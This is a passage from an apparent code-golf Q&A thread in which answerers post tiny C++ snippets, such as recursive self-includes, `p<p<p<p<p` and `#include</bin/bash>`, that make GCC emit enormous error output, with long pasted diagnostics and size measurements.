#include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" #include "a.cpp" } ``` This is a fork bomb where n=40. [Answer] This produces 21KB of output for me with GCC 10.1.0: ``` #include <iostream> int main() { std::cin >> ""; } ``` Output: ``` error.cpp: In function ‘int main()’: error.cpp:2:23: error: no match for ‘operator>>’ (operand types are ‘std::istream’ {aka ‘std::basic_istream<char>’} and ‘const char [1]’) 2 | int main() { std::cin >> ""; } | ~~~~~~~~ ^~ ~~ | | | | | const char [1] | std::istream {aka std::basic_istream<char>} In file included from /usr/include/c++/10.1.0/iostream:40, from error.cpp:1: /usr/include/c++/10.1.0/istream:168:7: note: candidate: ‘std::basic_istream<_CharT, _Traits>::__istream_type& std::basic_istream<_CharT, _Traits>::operator>>(bool&) [with _CharT = char; _Traits = std::char_traits<char>; std::basic_istream<_CharT, _Traits>::__istream_type = std::basic_istream<char>]’ (near match) 168 | operator>>(bool& __n) | ^~~~~~~~ /usr/include/c++/10.1.0/istream:168:7: note: conversion of argument 1 would be ill-formed: error.cpp:2:26: error: cannot bind non-const lvalue reference of type ‘bool&’ to an rvalue of type ‘bool’ 2 | int main() { std::cin >> ""; } | ^~ In file included from /usr/include/c++/10.1.0/iostream:40, from error.cpp:1: /usr/include/c++/10.1.0/istream:172:7: note: candidate: ‘std::basic_istream<_CharT, _Traits>& std::basic_istream<_CharT, _Traits>::operator>>(short int&) [with _CharT = char; _Traits = std::char_traits<char>]’ (near match) 172 | operator>>(short& __n); | ^~~~~~~~ /usr/include/c++/10.1.0/istream:172:7: note: conversion of argument 1 would be ill-formed: error.cpp:2:26: error: invalid conversion from ‘const char*’ to ‘short int’ [-fpermissive] 2 | int main() { std::cin >> ""; } | ^~ | | | const char* error.cpp:2:26: error: cannot bind rvalue ‘(short int)((const char*)"")’ to ‘short int&’ In file included from /usr/include/c++/10.1.0/iostream:40, from error.cpp:1: /usr/include/c++/10.1.0/istream:175:7: note: candidate: ‘std::basic_istream<_CharT, _Traits>::__istream_type& std::basic_istream<_CharT, _Traits>::operator>>(short unsigned int&) [with _CharT = char; _Traits = std::char_traits<char>; std::basic_istream<_CharT, _Traits>::__istream_type = std::basic_istream<char>]’ (near match) 175 | operator>>(unsigned short& __n) | ^~~~~~~~ /usr/include/c++/10.1.0/istream:175:7: note: conversion of argument 1 would be ill-formed: error.cpp:2:26: error: invalid conversion from ‘const char*’ to ‘short unsigned int’ [-fpermissive] 2 | int main() { std::cin >> ""; } | ^~ | | | const char* error.cpp:2:26: error: cannot bind rvalue ‘(short unsigned int)((const char*)"")’ to ‘short unsigned int&’ In file included from /usr/include/c++/10.1.0/iostream:40, from error.cpp:1: /usr/include/c++/10.1.0/istream:179:7: note: candidate: ‘std::basic_istream<_CharT, _Traits>& std::basic_istream<_CharT, _Traits>::operator>>(int&) [with _CharT = char; _Traits = std::char_traits<char>]’ (near match) 179 | operator>>(int& __n); | ^~~~~~~~ /usr/include/c++/10.1.0/istream:179:7: note: conversion of argument 1 would be ill-formed: error.cpp:2:26: error: invalid conversion from ‘const char*’ to ‘int’ [-fpermissive] 2 | int main() { std::cin >> ""; } | ^~ | | | const char* error.cpp:2:26: error: cannot bind rvalue ‘(int)((const char*)"")’ to ‘int&’ In file included from /usr/include/c++/10.1.0/iostream:40, from error.cpp:1: /usr/include/c++/10.1.0/istream:182:7: note: candidate: ‘std::basic_istream<_CharT, _Traits>::__istream_type& std::basic_istream<_CharT, _Traits>::operator>>(unsigned int&) [with _CharT = char; _Traits = std::char_traits<char>; std::basic_istream<_CharT, _Traits>::__istream_type = std::basic_istream<char>]’ (near match) 182 | operator>>(unsigned int& __n) | ^~~~~~~~ /usr/include/c++/10.1.0/istream:182:7: note: conversion of argument 1 would be ill-formed: error.cpp:2:26: error: invalid conversion from ‘const char*’ to ‘unsigned int’ [-fpermissive] 2 | int main() { std::cin >> ""; } | ^~ | | | const char* error.cpp:2:26: error: cannot bind rvalue ‘(unsigned int)((const char*)"")’ to ‘unsigned int&’ In file included from /usr/include/c++/10.1.0/iostream:40, from error.cpp:1: /usr/include/c++/10.1.0/istream:186:7: note: candidate: ‘std::basic_istream<_CharT, _Traits>::__istream_type& std::basic_istream<_CharT, _Traits>::operator>>(long int&) [with _CharT = char; _Traits = std::char_traits<char>; std::basic_istream<_CharT, _Traits>::__istream_type = std::basic_istream<char>]’ (near match) 186 | operator>>(long& __n) | ^~~~~~~~ /usr/include/c++/10.1.0/istream:186:7: note: conversion of argument 1 would be ill-formed: error.cpp:2:26: error: invalid conversion from ‘const char*’ to ‘long int’ [-fpermissive] 2 | int main() { std::cin >> ""; } | ^~ | | | const char* error.cpp:2:26: error: cannot bind rvalue ‘(long int)((const char*)"")’ to ‘long int&’ In file included from /usr/include/c++/10.1.0/iostream:40, from error.cpp:1: /usr/include/c++/10.1.0/istream:190:7: note: candidate: ‘std::basic_istream<_CharT, _Traits>::__istream_type& std::basic_istream<_CharT, _Traits>::operator>>(long unsigned int&) [with _CharT = char; _Traits = std::char_traits<char>; std::basic_istream<_CharT, _Traits>::__istream_type = std::basic_istream<char>]’ (near match) 190 | operator>>(unsigned long& __n) | ^~~~~~~~ /usr/include/c++/10.1.0/istream:190:7: note: conversion of argument 1 would be ill-formed: error.cpp:2:26: error: invalid conversion from ‘const char*’ to ‘long unsigned int’ [-fpermissive] 2 | int main() { std::cin >> ""; } | ^~ | | | const char* error.cpp:2:26: error: cannot bind rvalue ‘(long unsigned int)((const char*)"")’ to ‘long unsigned int&’ In file included from /usr/include/c++/10.1.0/iostream:40, from error.cpp:1: /usr/include/c++/10.1.0/istream:195:7: note: candidate: ‘std::basic_istream<_CharT, _Traits>::__istream_type& std::basic_istream<_CharT, _Traits>::operator>>(long long int&) [with _CharT = char; _Traits = std::char_traits<char>; std::basic_istream<_CharT, _Traits>::__istream_type = std::basic_istream<char>]’ (near match) 195 | operator>>(long long& __n) | ^~~~~~~~ /usr/include/c++/10.1.0/istream:195:7: note: conversion of argument 1 would be ill-formed: error.cpp:2:26: error: invalid conversion from ‘const char*’ to ‘long long int’ [-fpermissive] 2 | int main() { std::cin >> ""; } | ^~ | | | const char* error.cpp:2:26: error: cannot bind rvalue ‘(long long int)((const char*)"")’ to ‘long long int&’ In file included from /usr/include/c++/10.1.0/iostream:40, from error.cpp:1: /usr/include/c++/10.1.0/istream:199:7: note: candidate: ‘std::basic_istream<_CharT, _Traits>::__istream_type& std::basic_istream<_CharT, _Traits>::operator>>(long long unsigned int&) [with _CharT = char; _Traits = std::char_traits<char>; std::basic_istream<_CharT, _Traits>::__istream_type = std::basic_istream<char>]’ (near match) 199 | operator>>(unsigned long long& __n) | ^~~~~~~~ /usr/include/c++/10.1.0/istream:199:7: note: conversion of argument 1 would be ill-formed: error.cpp:2:26: error: invalid conversion from ‘const char*’ to ‘long long unsigned int’ [-fpermissive] 2 | int main() { std::cin >> ""; } | ^~ | | | const char* error.cpp:2:26: error: cannot bind rvalue ‘(long long unsigned int)((const char*)"")’ to ‘long long unsigned int&’ In file included from /usr/include/c++/10.1.0/iostream:40, from error.cpp:1: /usr/include/c++/10.1.0/istream:235:7: note: candidate: ‘std::basic_istream<_CharT, _Traits>::__istream_type& std::basic_istream<_CharT, _Traits>::operator>>(void*&) [with _CharT = char; _Traits = std::char_traits<char>; std::basic_istream<_CharT, _Traits>::__istream_type = std::basic_istream<char>]’ (near match) 235 | operator>>(void*& __p) | ^~~~~~~~ /usr/include/c++/10.1.0/istream:235:7: note: conversion of argument 1 would be ill-formed: error.cpp:2:26: error: invalid conversion from ‘const void*’ to ‘void*’ [-fpermissive] 2 | int main() { std::cin >> ""; } | ^~ | | | const void* error.cpp:2:26: error: cannot bind rvalue ‘(void*)((const void*)((const char*)""))’ to ‘void*&’ In file included from /usr/include/c++/10.1.0/iostream:40, from error.cpp:1: /usr/include/c++/10.1.0/istream:120:7: note: candidate: ‘std::basic_istream<_CharT, _Traits>::__istream_type& std::basic_istream<_CharT, _Traits>::operator>>(std::basic_istream<_CharT, _Traits>::__istream_type& (*)(std::basic_istream<_CharT, _Traits>::__istream_type&)) [with _CharT = char; _Traits = std::char_traits<char>; std::basic_istream<_CharT, _Traits>::__istream_type = std::basic_istream<char>]’ 120 | operator>>(__istream_type& (*__pf)(__istream_type&)) | ^~~~~~~~ /usr/include/c++/10.1.0/istream:120:36: note: no known conversion for argument 1 from ‘const char [1]’ to ‘std::basic_istream<char>::__istream_type& (*)(std::basic_istream<char>::__istream_type&)’ {aka ‘std::basic_istream<char>& (*)(std::basic_istream<char>&)’} 120 | operator>>(__istream_type& (*__pf)(__istream_type&)) | ~~~~~~~~~~~~~~~~~~^~~~~~~~~~~~~~~~~~~~~~ /usr/include/c++/10.1.0/istream:124:7: note: candidate: ‘std::basic_istream<_CharT, _Traits>::__istream_type& std::basic_istream<_CharT, _Traits>::operator>>(std::basic_istream<_CharT, _Traits>::__ios_type& (*)(std::basic_istream<_CharT, _Traits>::__ios_type&)) [with _CharT = char; _Traits = std::char_traits<char>; std::basic_istream<_CharT, _Traits>::__istream_type = std::basic_istream<char>; std::basic_istream<_CharT, _Traits>::__ios_type = std::basic_ios<char>]’ 124 | operator>>(__ios_type& (*__pf)(__ios_type&)) | ^~~~~~~~ /usr/include/c++/10.1.0/istream:124:32: note: no known conversion for argument 1 from ‘const char [1]’ to ‘std::basic_istream<char>::__ios_type& (*)(std::basic_istream<char>::__ios_type&)’ {aka ‘std::basic_ios<char>& (*)(std::basic_ios<char>&)’} 124 | operator>>(__ios_type& (*__pf)(__ios_type&)) | ~~~~~~~~~~~~~~^~~~~~~~~~~~~~~~~~ /usr/include/c++/10.1.0/istream:131:7: note: candidate: ‘std::basic_istream<_CharT, _Traits>::__istream_type& std::basic_istream<_CharT, _Traits>::operator>>(std::ios_base& (*)(std::ios_base&)) [with _CharT = char; _Traits = std::char_traits<char>; std::basic_istream<_CharT, _Traits>::__istream_type = std::basic_istream<char>]’ 131 | operator>>(ios_base& (*__pf)(ios_base&)) | ^~~~~~~~ /usr/include/c++/10.1.0/istream:131:30: note: no known conversion for argument 1 from ‘const char [1]’ to ‘std::ios_base& (*)(std::ios_base&)’ 131 | operator>>(ios_base& (*__pf)(ios_base&)) | ~~~~~~~~~~~~^~~~~~~~~~~~~~~~ /usr/include/c++/10.1.0/istream:214:7: note: candidate: ‘std::basic_istream<_CharT, _Traits>::__istream_type& std::basic_istream<_CharT, _Traits>::operator>>(float&) [with _CharT = char; _Traits = std::char_traits<char>; std::basic_istream<_CharT, _Traits>::__istream_type = std::basic_istream<char>]’ 214 | operator>>(float& __f) | ^~~~~~~~ /usr/include/c++/10.1.0/istream:214:25: note: no known conversion for argument 1 from ‘const char [1]’ to ‘float&’ 214 | operator>>(float& __f) | ~~~~~~~^~~ /usr/include/c++/10.1.0/istream:218:7: note: candidate: ‘std::basic_istream<_CharT, _Traits>::__istream_type& std::basic_istream<_CharT, _Traits>::operator>>(double&) [with _CharT = char; _Traits = std::char_traits<char>; std::basic_istream<_CharT, _Traits>::__istream_type = std::basic_istream<char>]’ 218 | operator>>(double& __f) | ^~~~~~~~ /usr/include/c++/10.1.0/istream:218:26: note: no known conversion for argument 1 from ‘const char [1]’ to ‘double&’ 218 | operator>>(double& __f) | ~~~~~~~~^~~ /usr/include/c++/10.1.0/istream:222:7: note: candidate: ‘std::basic_istream<_CharT, _Traits>::__istream_type& std::basic_istream<_CharT, _Traits>::operator>>(long double&) [with _CharT = char; _Traits = std::char_traits<char>; std::basic_istream<_CharT, _Traits>::__istream_type = std::basic_istream<char>]’ 222 | operator>>(long double& __f) | ^~~~~~~~ /usr/include/c++/10.1.0/istream:222:31: note: no known conversion for argument 1 from ‘const char [1]’ to ‘long double&’ 222 | operator>>(long double& __f) | ~~~~~~~~~~~~~^~~ /usr/include/c++/10.1.0/istream:259:7: note: candidate: ‘std::basic_istream<_CharT, _Traits>& std::basic_istream<_CharT, _Traits>::operator>>(std::basic_istream<_CharT, _Traits>::__streambuf_type*) [with _CharT = char; _Traits = std::char_traits<char>; std::basic_istream<_CharT, _Traits>::__streambuf_type = std::basic_streambuf<char>]’ 259 | operator>>(__streambuf_type* __sb); | ^~~~~~~~ /usr/include/c++/10.1.0/istream:259:36: note: no known conversion for argument 1 from ‘const char [1]’ to ‘std::basic_istream<char>::__streambuf_type*’ {aka ‘std::basic_streambuf<char>*’} 259 | operator>>(__streambuf_type* __sb); | ~~~~~~~~~~~~~~~~~~^~~~ In file included from /usr/include/c++/10.1.0/string:56, from /usr/include/c++/10.1.0/bits/locale_classes.h:40, from /usr/include/c++/10.1.0/bits/ios_base.h:41, from /usr/include/c++/10.1.0/ios:42, from /usr/include/c++/10.1.0/ostream:38, from /usr/include/c++/10.1.0/iostream:39, from error.cpp:1: /usr/include/c++/10.1.0/bits/basic_string.tcc:1476:5: note: candidate: ‘template<class _CharT, class _Traits, class _Alloc> std::basic_istream<_CharT, _Traits>& std::operator>>(std::basic_istream<_CharT, _Traits>&, std::__cxx11::basic_string<_CharT, _Traits, _Alloc>&)’ 1476 | operator>>(basic_istream<_CharT, _Traits>& __in, | ^~~~~~~~ /usr/include/c++/10.1.0/bits/basic_string.tcc:1476:5: note: template argument deduction/substitution failed: error.cpp:2:26: note: mismatched types ‘std::__cxx11::basic_string<_CharT, _Traits, _Alloc>’ and ‘const char [1]’ 2 | int main() { std::cin >> ""; } | ^~ In file included from /usr/include/c++/10.1.0/istream:991, from /usr/include/c++/10.1.0/iostream:40, from error.cpp:1: /usr/include/c++/10.1.0/bits/istream.tcc:931:5: note: candidate: ‘template<class _CharT, class _Traits> std::basic_istream<_CharT, _Traits>& std::operator>>(std::basic_istream<_CharT, _Traits>&, _CharT&)’ 931 | operator>>(basic_istream<_CharT, _Traits>& __in, _CharT& __c) | ^~~~~~~~ /usr/include/c++/10.1.0/bits/istream.tcc:931:5: note: template argument deduction/substitution failed: error.cpp:2:26: note: deduced conflicting types for parameter ‘_CharT’ (‘char’ and ‘const char [1]’) 2 | int main() { std::cin >> ""; } | ^~ In file included from /usr/include/c++/10.1.0/iostream:40, from error.cpp:1: /usr/include/c++/10.1.0/istream:756:5: note: candidate: ‘template<class _Traits> std::basic_istream<char, _Traits>& std::operator>>(std::basic_istream<char, _Traits>&, unsigned char&)’ 756 | operator>>(basic_istream<char, _Traits>& __in, unsigned char& __c) | ^~~~~~~~ /usr/include/c++/10.1.0/istream:756:5: note: template argument deduction/substitution failed: error.cpp:2:26: note: cannot convert ‘""’ (type ‘const char [1]’) to type ‘unsigned char&’ 2 | int main() { std::cin >> ""; } | ^~ In file included from /usr/include/c++/10.1.0/iostream:40, from error.cpp:1: /usr/include/c++/10.1.0/istream:761:5: note: candidate: ‘template<class _Traits> std::basic_istream<char, _Traits>& std::operator>>(std::basic_istream<char, _Traits>&, signed char&)’ 761 | operator>>(basic_istream<char, _Traits>& __in, signed char& __c) | ^~~~~~~~ /usr/include/c++/10.1.0/istream:761:5: note: template argument deduction/substitution failed: error.cpp:2:26: note: cannot convert ‘""’ (type ‘const char [1]’) to type ‘signed char&’ 2 | int main() { std::cin >> ""; } | ^~ In file included from /usr/include/c++/10.1.0/istream:991, from /usr/include/c++/10.1.0/iostream:40, from error.cpp:1: /usr/include/c++/10.1.0/bits/istream.tcc:963:5: note: candidate: ‘template<class _CharT2, class _Traits2> std::basic_istream<_CharT, _Traits>& std::operator>>(std::basic_istream<_CharT, _Traits>&, _CharT2*)’ 963 | operator>>(basic_istream<_CharT, _Traits>& __in, _CharT* __s) | ^~~~~~~~ /usr/include/c++/10.1.0/bits/istream.tcc:963:5: note: template argument deduction/substitution failed: error.cpp:2:26: note: deduced conflicting types for parameter ‘_CharT2’ (‘char’ and ‘const char’) 2 | int main() { std::cin >> ""; } | ^~ In file included from /usr/include/c++/10.1.0/iostream:40, from error.cpp:1: /usr/include/c++/10.1.0/istream:803:5: note: candidate: ‘template<class _Traits> std::basic_istream<char, _Traits>& std::operator>>(std::basic_istream<char, _Traits>&, unsigned char*)’ 803 | operator>>(basic_istream<char, _Traits>& __in, unsigned char* __s) | ^~~~~~~~ /usr/include/c++/10.1.0/istream:803:5: note: template argument deduction/substitution failed: error.cpp:2:26: note: cannot convert ‘""’ (type ‘const char [1]’) to type ‘unsigned char*’ 2 | int main() { std::cin >> ""; } | ^~ In file included from /usr/include/c++/10.1.0/iostream:40, from error.cpp:1: /usr/include/c++/10.1.0/istream:808:5: note: candidate: ‘template<class _Traits> std::basic_istream<char, _Traits>& std::operator>>(std::basic_istream<char, _Traits>&, signed char*)’ 808 | operator>>(basic_istream<char, _Traits>& __in, signed char* __s) | ^~~~~~~~ /usr/include/c++/10.1.0/istream:808:5: note: template argument deduction/substitution failed: error.cpp:2:26: note: cannot convert ‘""’ (type ‘const char [1]’) to type ‘signed char*’ 2 | int main() { std::cin >> ""; } | ^~ In file included from /usr/include/c++/10.1.0/iostream:40, from error.cpp:1: /usr/include/c++/10.1.0/istream:980:5: note: candidate: ‘template<class _Istream, class _Tp> typename std::enable_if<std::__and_<std::__not_<std::is_lvalue_reference<_Tp> >, std::__is_convertible_to_basic_istream<_Istream>, std::__is_extractable<typename std::__is_convertible_to_basic_istream<_Tp>::__istream_type, _Tp&&, void> >::value, typename std::__is_convertible_to_basic_istream<_Tp>::__istream_type>::type std::operator>>(_Istream&&, _Tp&&)’ 980 | operator>>(_Istream&& __is, _Tp&& __x) | ^~~~~~~~ /usr/include/c++/10.1.0/istream:980:5: note: template argument deduction/substitution failed: /usr/include/c++/10.1.0/istream: In substitution of ‘template<class _Istream, class _Tp> typename std::enable_if<std::__and_<std::__not_<std::is_lvalue_reference<_Tp> >, std::__is_convertible_to_basic_istream<_Istream>, std::__is_extractable<typename std::__is_convertible_to_basic_istream<_Tp>::__istream_type, _Tp&&, void> >::value, typename std::__is_convertible_to_basic_istream<_Tp>::__istream_type>::type std::operator>>(_Istream&&, _Tp&&) [with _Istream = std::basic_istream<char>&; _Tp = const char (&)[1]]’: error.cpp:2:26: required from here /usr/include/c++/10.1.0/istream:980:5: error: no type named ‘type’ in ‘struct std::enable_if<false, std::basic_istream<char>&>’ ``` [Answer] # 1031892 bytes / 9 bytes = ratio 114654.666667 Compiler `g++-11`, with `-std=c++20` flag ``` p<p<p<p<p ``` produces 1031892 bytes, or 21056 lines of error. first 20 lines look like this: ``` test.cpp:1:9: error: ‘p’ was not declared in this scope 1 | p<p<p<p<p | ^ test.cpp:1:9: error: ‘p’ was not declared in this scope test.cpp:1:9: error: ‘p’ was not declared in this scope test.cpp:1:9: error: ‘p’ was not declared in this scope test.cpp:1:9: error: ‘p’ was not declared in this scope test.cpp:1:9: error: ‘p’ was not declared in this scope test.cpp:1:9: error: ‘p’ was not declared in this scope test.cpp:1:9: error: ‘p’ was not declared in this scope test.cpp:1:9: error: ‘p’ was not declared in this scope test.cpp:1:9: error: ‘p’ was not declared in this scope test.cpp:1:9: error: ‘p’ was not declared in this scope test.cpp:1:7: error: ‘p’ was not declared in this scope 1 | p<p<p<p<p | ^ test.cpp:1:9: error: ‘p’ was not declared in this scope 1 | p<p<p<p<p | ^ test.cpp:1:9: error: ‘p’ was not declared in this scope ``` and last 20 lines: ``` | ^ test.cpp:1:5: error: ‘p’ was not declared in this scope 1 | p<p<p<p<p | ^ test.cpp:1:9: error: ‘p’ was not declared in this scope 1 | p<p<p<p<p | ^ test.cpp:1:9: error: ‘p’ was not declared in this scope test.cpp:1:9: error: ‘p’ was not declared in this scope test.cpp:1:9: error: ‘p’ was not declared in this scope test.cpp:1:9: error: ‘p’ was not declared in this scope test.cpp:1:7: error: ‘p’ was not declared in this scope 1 | p<p<p<p<p | ^ test.cpp:1:9: error: ‘p’ was not declared in this scope 1 | p<p<p<p<p | ^ test.cpp:1:1: error: ‘p’ does not name a type 1 | p<p<p<p<p | ^ ``` And my compiler version: ``` $ g++-11 --version g++-11 (Ubuntu 11.1.0-1ubuntu1~18.04.1) 11.1.0 Copyright (C) 2021 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. ``` ## What if I add more "<p" ? * 1 byte -> 70 bytes error, ratio = 70 ``` $ echo 'p' > test.cpp; g++-11 test.cpp -o test -std=c++20 2>&1 | wc -c 70 ``` * 3 byte -> 636 bytes error, ratio = 212 ``` $ echo 'p<p' > test.cpp; g++-11 test.cpp -o test -std=c++20 2>&1 | wc -c 636 ``` * 5 byte -> 7608 bytes error, ratio = 1521.6 ``` $ echo 'p<p<p' > test.cpp; g++-11 test.cpp -o test -std=c++20 2>&1 | wc -c 7608 ``` * 7 byte -> 88884 bytes error, ratio = 12697.7142857 ``` $ echo 'p<p<p<p' > test.cpp; g++-11 test.cpp -o test -std=c++20 2>&1 | wc -c 88884 ``` * 9 byte -> 1031892 bytes error, ratio = 114654.666667 ``` $ echo 'p<p<p<p<p' > test.cpp; g++-11 test.cpp -o test -std=c++20 2>&1 | wc -c 1031892 ``` * 11 byte -> 12132840 bytes error, ratio = 1102985.45455 ``` $ echo 'p<p<p<p<p<p' > test.cpp; g++-11 test.cpp -o test -std=c++20 2>&1 | wc -c 12132840 ``` * ...and latter take too much time to evaluate. [Answer] # 19 bytes ... you need to get at least a few megabytes of errors (if you have bash under `/bin/bash`, untested with `env`) ``` #include</bin/bash> ``` under Windows 7 (/w Cygwin) in results i got 762140 lines of errors (~73 MiB, *pic related*) ``` In file included from owo.cpp:1: /bin/bash:1:3: error: stray ‘\220’ in program 1 | MZ� �� � @ � � � �!�L�!This program cannot be run in DOS mode. | ^ /bin/bash:1:4: warning: null character(s) ignored 1 | MZ� �� � @ � � � �!�L�!This program cannot be run in DOS mode. | ^ /bin/bash:1:5: error: stray ‘\3’ in program 1 | MZ� �� � @ � � � �!�L�!This program cannot be run in DOS mode. | ^ /bin/bash:1:6: warning: null character(s) ignored 1 | MZ� �� � @ � � � �!�L�!This program cannot be run in DOS mode. | ^ [...] /bin/bash:2724:5: error: ‘H9’ does not name a type 2724 | | ^ /bin/bash:2725:5: error: ‘H9’ does not name a type 2725 | Exit Status: | ^~ /bin/bash:2739:33: error: expected declaration before ‘}’ token 2739 | -r read the history file and append the contents to the history | ^ /bin/bash:2739:42: error: ‘H’ does not name a type 2739 | -r read the history file and append the contents to the history | ^ /bin/bash:2748:2: error: expected declaration before ‘}’ token 2748 | if HISTFILE has a value, that is used, else ~/.bash_history. | ^ /bin/bash:2748:11: error: expected unqualified-id before numeric constant 2748 | if HISTFILE has a value, that is used, else ~/.bash_history. | ^ /bin/bash:2748:54: error: expected declaration before ‘}’ token 2748 | if HISTFILE has a value, that is used, else ~/.bash_history. | ^ /bin/bash:2748:64: error: expected ‘)’ before ‘D$P’ 2748 | if HISTFILE has a value, that is used, else ~/.bash_history. | ~ ^ | ) In file included from owo.cpp:1: /bin/bash:2750:369: error: ‘H’ does not name a type 2750 | If the HISTTIMEFORMAT variable is set and not null, its value is used | ^ /bin/bash:2750:468: error: expected declaration before ‘}’ token 2750 | If the HISTTIMEFORMAT variable is set and not null, its value is used | ^ /bin/bash:2750:480: error: expected class-name before ‘L’ 2750 | If the HISTTIMEFORMAT variable is set and not null, its value is used | ^ In file included from owo.cpp:1: /bin/bash:4243:119: error: ‘E’ does not name a type 4243 | � d �} | ^ In file included from owo.cpp:1: /bin/bash:4243:794: error: expected declaration before ‘}’ token 4243 | � d �} | ^ /bin/bash:4243:800: error: expected ‘)’ before ‘U’ 4243 | � d �} | ^ | ) In file included from owo.cpp:1: /bin/bash:4244:237: error: expected declaration before ‘}’ token 4244 | p � �} | ^ /bin/bash:4244:249: error: expected ‘)’ before ‘L’ 4244 | p � �} | ^ | ) /bin/bash:4244:385: error: expected declaration before ‘}’ token 4244 | p � �} | ^ /bin/bash:4244:388: error: ‘I’ does not name a type 4244 | p � �} | ^ In file included from owo.cpp:1: /bin/bash:4246:185: error: ‘f’ does not name a type 4246 | p � ~ | ^ In file included from owo.cpp:1: /bin/bash:7044:6: error: ‘e’ does not name a type /bin/bash:7303:7: error: ‘T’ does not name a type /bin/bash:7434:6: error: ‘W’ does not name a type /bin/bash:7437:7: error: expected unqualified-id before ‘<’ token /bin/bash:7495:10: error: ‘h’ does not name a type /bin/bash:7529:7: error: expected declaration before ‘}’ token /bin/bash:7530:2: error: ‘p’ does not name a type /bin/bash:7530:3: error: expected declaration before ‘}’ token /bin/bash:7533:10: error: expected unqualified-id before numeric constant /bin/bash:7532:11: error: expected ‘)’ before numeric constant In file included from owo.cpp:1: /bin/bash:7995:245: error: expected declaration before ‘}’ token /bin/bash:7997:3: error: expected unqualified-id before numeric constant /bin/bash:8000:59: error: expected unqualified-id before ‘:’ token /bin/bash:8000:66: error: ‘P’ does not name a type /bin/bash:8000:130: error: expected unqualified-id before numeric constant /bin/bash:8031:34: error: expected declaration before ‘}’ token /bin/bash:8031:35: error: ‘L’ does not name a type ``` [![big error, woah](https://i.stack.imgur.com/SG8nr.png)](https://i.stack.imgur.com/SG8nr.png) [Answer] (22009 characters) This is something a beginner might actually run into: Ungolfed: ``` #include <array> #include <iostream> int main() { std::cout << std::array{1, 2, 3}; } ``` Golfed: ``` #include <array> #include <iostream> main(){std::cout<<std::array{1};} ``` Compiled with Homebrew GCC 12.1 on MacOS 12.4, with no options. Error: ``` delete.cpp:3:1: warning: ISO C++ forbids declaration of 'main' with no type [-Wreturn-type] 3 | main(){std::cout<<std::array{1};} | ^~~~ delete.cpp: In function 'int main()': delete.cpp:3:17: error: no match for 'operator<<' (operand types are 'std::ostream' {aka 'std::basic_ostream<char>'} and 'std::array<int, 1>') 3 | main(){std::cout<<std::array{1};} | ~~~~~~~~~^~ ~~~~~~~~ | | | | | std::array<int, 1> | std::ostream {aka std::basic_ostream<char>} In file included from /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/iostream:39, from delete.cpp:2: /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:108:7: note: candidate: 'std::basic_ostream<_CharT, _Traits>::__ostream_type& std::basic_ostream<_CharT, _Traits>::operator<<(__ostream_type& (*)(__ostream_type&)) [with _CharT = char; _Traits = std::char_traits<char>; __ostream_type = std::basic_ostream<char>]' 108 | operator<<(__ostream_type& (*__pf)(__ostream_type&)) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:108:36: note: no known conversion for argument 1 from 'std::array<int, 1>' to 'std::basic_ostream<char>::__ostream_type& (*)(std::basic_ostream<char>::__ostream_type&)' {aka 'std::basic_ostream<char>& (*)(std::basic_ostream<char>&)'} 108 | operator<<(__ostream_type& (*__pf)(__ostream_type&)) | ~~~~~~~~~~~~~~~~~~^~~~~~~~~~~~~~~~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:117:7: note: candidate: 'std::basic_ostream<_CharT, _Traits>::__ostream_type& std::basic_ostream<_CharT, _Traits>::operator<<(__ios_type& (*)(__ios_type&)) [with _CharT = char; _Traits = std::char_traits<char>; __ostream_type = std::basic_ostream<char>; __ios_type = std::basic_ios<char>]' 117 | operator<<(__ios_type& (*__pf)(__ios_type&)) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:117:32: note: no known conversion for argument 1 from 'std::array<int, 1>' to 'std::basic_ostream<char>::__ios_type& (*)(std::basic_ostream<char>::__ios_type&)' {aka 'std::basic_ios<char>& (*)(std::basic_ios<char>&)'} 117 | operator<<(__ios_type& (*__pf)(__ios_type&)) | ~~~~~~~~~~~~~~^~~~~~~~~~~~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:127:7: note: candidate: 'std::basic_ostream<_CharT, _Traits>::__ostream_type& std::basic_ostream<_CharT, _Traits>::operator<<(std::ios_base& (*)(std::ios_base&)) [with _CharT = char; _Traits = std::char_traits<char>; __ostream_type = std::basic_ostream<char>]' 127 | operator<<(ios_base& (*__pf) (ios_base&)) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:127:30: note: no known conversion for argument 1 from 'std::array<int, 1>' to 'std::ios_base& (*)(std::ios_base&)' 127 | operator<<(ios_base& (*__pf) (ios_base&)) | ~~~~~~~~~~~~^~~~~~~~~~~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:166:7: note: candidate: 'std::basic_ostream<_CharT, _Traits>::__ostream_type& std::basic_ostream<_CharT, _Traits>::operator<<(long int) [with _CharT = char; _Traits = std::char_traits<char>; __ostream_type = std::basic_ostream<char>]' 166 | operator<<(long __n) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:166:23: note: no known conversion for argument 1 from 'std::array<int, 1>' to 'long int' 166 | operator<<(long __n) | ~~~~~^~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:170:7: note: candidate: 'std::basic_ostream<_CharT, _Traits>::__ostream_type& std::basic_ostream<_CharT, _Traits>::operator<<(long unsigned int) [with _CharT = char; _Traits = std::char_traits<char>; __ostream_type = std::basic_ostream<char>]' 170 | operator<<(unsigned long __n) | ^~~~~~~~ /opt/homebrew/Cellar/gcc@12/12.1.0_1/include/c++/12/ostream:170:32: note: no known conversion for argument 1 from 'std::array<int, 1>' to 'long unsigned int' 170 | operator<<(unsigned long __n) | ~~~~~~~~~~~~~~^~~ 